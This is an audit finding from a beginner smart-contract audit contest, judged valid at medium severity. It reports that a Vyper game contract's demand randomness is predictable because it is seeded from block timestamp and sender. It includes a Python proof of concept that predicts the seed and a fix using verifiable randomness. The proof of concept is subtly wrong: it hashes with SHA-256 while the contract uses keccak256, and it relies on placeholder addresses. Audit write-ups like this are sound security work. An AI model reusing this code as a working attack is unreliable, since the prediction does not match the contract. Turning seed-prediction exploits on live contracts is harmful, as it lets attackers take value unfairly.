Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: medium
Valid

M01. Predictable Pseudo-Randomness in Customer Demand

Root + Impact

Description

  • The trigger_demand function normally generates a pseudo-random number to determine the quantity of items a customer requests. This randomness is intended to simulate variable customer demand based on the company's reputation.

  • The specific issue is that the pseudo-randomness relies on block.timestamp and msg.sender, which can be predicted or manipulated by miners or front-running users. This allows attackers to forecast the demand and exploit the system.

seed: uint256 = convert(
keccak256(
concat(
convert(@>block.timestamp@>, bytes32), convert(@>msg.sender@>, bytes32)
)
),
uint256,
)

Risk

Likelihood:

  • Users observing the blockchain can calculate the seed for their own addresses at the current timestamp.

  • Automated scripts can front-run transactions to influence which pseudo-random number is generated.

Impact:

  • Attackers can consistently request the maximum allowed items, gaining more benefits than intended.

  • Reputation-based reward mechanisms can be unfairly exploited, breaking the intended simulation dynamics.

Proof of Concept

Explanation: The attacker computes the exact requested items for their transaction before sending it, ensuring maximum items requested and exploiting the game's pseudo-random logic.

import boa
from eth_utils import to_wei
# Set up environment
OWNER = '0xowner...' # replace with actual owner
PATRICK = '0xpatrick...' # attacker
FUND_VALUE = to_wei(20, 'ether')
# Fund and produce items
boa.env.set_balance(OWNER, to_wei(10, 'ether'))
with boa.env.prank(OWNER):
industry_contract.fund_cyfrin(0, value=to_wei(10, 'ether'))
industry_contract.produce(10)
# Attacker predicts pseudo-random demand
current_timestamp = boa.env.block_timestamp
msg_sender = PATRICK
seed_input = current_timestamp.to_bytes(32, 'big') + bytes.fromhex(msg_sender[2:].zfill(64))
import hashlib
seed = int.from_bytes(hashlib.sha256(seed_input).digest(), 'big')
rep = industry_contract.reputation()
base = seed % 5
extra_item_chance = 1 if (seed % 100) < (rep - 50) else 0
requested = min(base + 1 + extra_item_chance, 5)
# Trigger demand using predicted value
with boa.env.prank(PATRICK):
customer_engine_contract.trigger_demand(value=requested * to_wei(0.02, 'ether'))
# Assert inventory reduced accordingly
assert industry_contract.inventory() == 10 - requested, f'Inventory should reduce by {requested}'

Recommended Mitigation

Use a verifiable randomness source, such as Chainlink VRF, or a commit-reveal scheme to generate unpredictable demand.

- seed: uint256 = convert(keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))), uint256)
+ seed: uint256 = requestRandomnessFromVRF() # replace with VRF-generated randomness
Updates

Lead Judging Commences

0xshaedyw Lead Judge
about 1 month ago
0xshaedyw Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Medium – Predictable Seed

Demand randomness is grindable via timestamp and sender, enabling biased outcomes and reputation manipulation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!